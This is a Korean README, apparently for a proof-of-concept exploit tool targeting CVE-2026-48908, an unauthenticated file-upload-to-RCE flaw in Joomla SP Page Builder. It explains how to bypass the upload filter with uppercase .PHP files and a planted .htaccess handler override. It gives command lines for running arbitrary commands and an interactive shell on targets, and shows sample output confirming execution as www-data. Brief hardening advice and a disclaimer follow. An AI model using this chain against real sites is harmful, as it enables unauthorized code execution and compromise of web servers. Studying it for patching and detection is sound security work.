
Joomla SP Page Builder의 인증되지 않은 RCE인 CVE-2026-48908에 대한 개념 증명 익스플로잇으로, 임의 파일 업로드를 통한 적응형 페이로드 전달 및 정리를 포함합니다.
| CVE | CVE-2026-48908 |
| 취약점 유형 | CWE-284 Improper Access Control → Unauthenticated Arbitrary File Upload → RCE |
| 컴포넌트 | SP Page Builder (com_sppagebuilder) for Joomla |
| 영향받는 버전 | 1.0.0 – 6.6.1 |
| 수정 버전 | 6.6.2 |
| 필요 권한 | 없음 (인증 전) |
| 사용자 상호 작용 | 없음 |
SP Page Builder는 사용자 정의 아이콘 폰트 패키지 업로드를 처리하기 위해 컨트롤러 작업 **asset.uploadCustomIcon**을 노출합니다.
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
영향받는 버전에서는 이 작업이 인증 없이, 유효한 안티-CSRF 토큰 없이 접근 가능합니다. ZIP 아카이브(multipart 필드 custom_icon)를 받아서 문서 루트 아래 공개 웹 서비스 디렉터리로 내용을 추출합니다.
/media/com_sppagebuilder/assets/iconfont/<name>/ (including the fonts/ subfolder)
업로드가 인증 전에 접근 가능하고 추출된 파일이 웹 루트에 위치하기 때문에 공격자는 공격자 제어 파일을 브라우징 가능한 위치에 쓸 수 있고 HTTP를 통해 접근할 수 있습니다.
일부 빌드는 아카이브 항목에 서버 측 파일 이름 필터를 추가합니다. 이 PoC는 다음 3단계 체인을 통해 일반적인 구현을 우회합니다:
.php, .phtml, .phar, .php3–.php8, .pht, .inc, … 을 거부하지만 대소문자를 정규화하지 않으므로 .PHP (및 기타 대소문자 혼합 변형)와 .htaccess 는 통과합니다.<FilesMatch "\.php$">)는 소문자 .php만 실행하므로, 업로드된 .PHP는 처음에 소스 텍스트로 제공되며 실행되지 않습니다..htaccess 오버라이드. 블록리스트가 놓치는 AddType application/x-httpd-php .PHP를 포함한 .htaccess가 페이로드와 함께 드롭됩니다. AllowOverride가 허용하는 경우, 이는 .PHP를 PHP로 등록하고 업로드된 셸이 실행됩니다.PoC는 항상 유효한 아이콘 폰트 구조(selection.json, style.css, fonts/<name>.ttf)를 패키징하여 업로드가 수락되도록 한 다음 셸을 추가합니다.
적응형 — PHP 실행 가능 확장 목록(가장 작은 풋프린트 순)을 순회한 후 .htaccess 대비책을 사용하며, 실제로 코드를 실행하는 첫 번째 방법에서 중단됩니다:
php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php에 대해 fonts/<shell>.<ext>. .htaccess 없음. 서로 다른 SP Page Builder 필터가 서로 다른 집합을 차단하고, 서로 다른 Apache 구성이 서로 다른 확장자를 실행합니다 — 따라서 대상이 허용하면서 실행하는 모든 조합을 찾습니다.fonts/.htaccess + fonts/<shell>.PHP (대비책) — 모든 직접 시도가 실패한 경우에만. 드롭된 .htaccess (AddType … .PHP)는 AllowOverride가 허용하는 곳에서 대문자 .PHP를 실행하도록 강제합니다 (5.4.6 스타일 호스트에 필요한 경우).실행되는 첫 번째 방법에서 중단되며 어떤 방법이 적용되었는지 출력합니다. 수락된 모든 업로드는 추적되므로 --cleanup은 모든 업로드를 제거합니다 (여러 번 시도하면 쓰기 전용 디렉터리가 남을 수 있음).
버전 및 서버 강화에 따라 결과가 다르며, PoC는 명시적으로 결과를 표시합니다 (아래 결과 참조): 완전한 RCE, 파일 쓰기 전용 (PHP 비활성화 /
AllowOverride None), 패치됨 (관리자 전용), 또는 취약하지 않음.
pip install -r requirements.txt # requests
# 취약점 확인 및 코드 실행 증명 (id 실행)
python3 sppb_rce.py https://target.example
# 특정 명령 실행
python3 sppb_rce.py --url target.example -c "uname -a"
# 대화형 유사 셸
python3 sppb_rce.py https://target.example --shell
# 확인만; 명령 실행 안 함
python3 sppb_rce.py https://target.example --check
# 이후 업로드된 페이로드 디렉터리 제거
python3 sppb_rce.py https://target.example --cleanup
대상은 위치 인수 또는 --url로 제공할 수 있으며, 스킴 유무에 관계없이 사용 가능합니다.
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
PoC는 항상 대상에 대한 판정을 알려줍니다:
| 출력 | 의미 | 종료 코드 |
|---|---|---|
CODE EXECUTION CONFIRMED via '<method>' | 취약함 — 완전한 인증되지 않은 RCE | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | 파일 쓰기 전용 (AllowOverride None / /media에서 PHP 비활성화) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | 패치됨 — 업로드에 이제 관리자 인증 필요 | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | 익스플로잇 불가 / 컴포넌트 없음 | 2 |
404를 반환합니다 — 공개 백도어가 아닙니다.--cleanup은 생성된 페이로드 디렉터리를 삭제합니다.id, 산술 마커).php_admin_flag engine off를 사용하여 업로드 디렉터리(/media/, /images/, /tmp)에서 PHP 실행을 비활성화합니다.AllowOverride None을 설정하여 드롭된 .htaccess가 핸들러를 다시 활성화하지 못하도록 합니다.media/.../iconfont/ 아래에 예상치 못한 .php/.PHP 파일, 새로운 슈퍼 사용자 계정, 심어진 파일 관리자를 찾아보십시오.Joomla SP Page Builder 익스플로잇 · com_sppagebuilder 인증되지 않은 RCE · CVE-2026-48908 PoC · asset.uploadCustomIcon 임의 파일 업로드 · Joomla 원격 코드 실행 · 침투 테스트 익스플로잇 스크립트.
이 소프트웨어는 교육 목적 및 허가된 보안 테스트용으로만 게시됩니다 — 예: 서면 허가를 받은 침투 테스트, 대상이 범위 내에 포함된 버그 바운티 프로그램, CTF 대회, 자체 랩 시스템 등.
허가 없이 컴퓨터 시스템에 접근, 수정 또는 중단하는 것은 대부분의 관할권에서 불법입니다. 귀하는 귀하의 행동에 대해 전적으로 단독 책임을 집니다. 이 코드를 사용, 다운로드 또는 배포함으로써 다음에 동의하는 것으로 간주됩니다:
이 약관에 동의하지 않는 경우 이 소프트웨어를 사용하지 마십시오. 공개적으로 제공되는 다른 익스플로잇/PoC와 마찬가지로, 이는 방어자가 취약점을 탐지, 이해 및 수정하는 데 도움을 주기 위해 선의로 공유됩니다; 이 코드로 무엇을 하는지는 귀하의 책임입니다.
MIT — LICENSE 참조.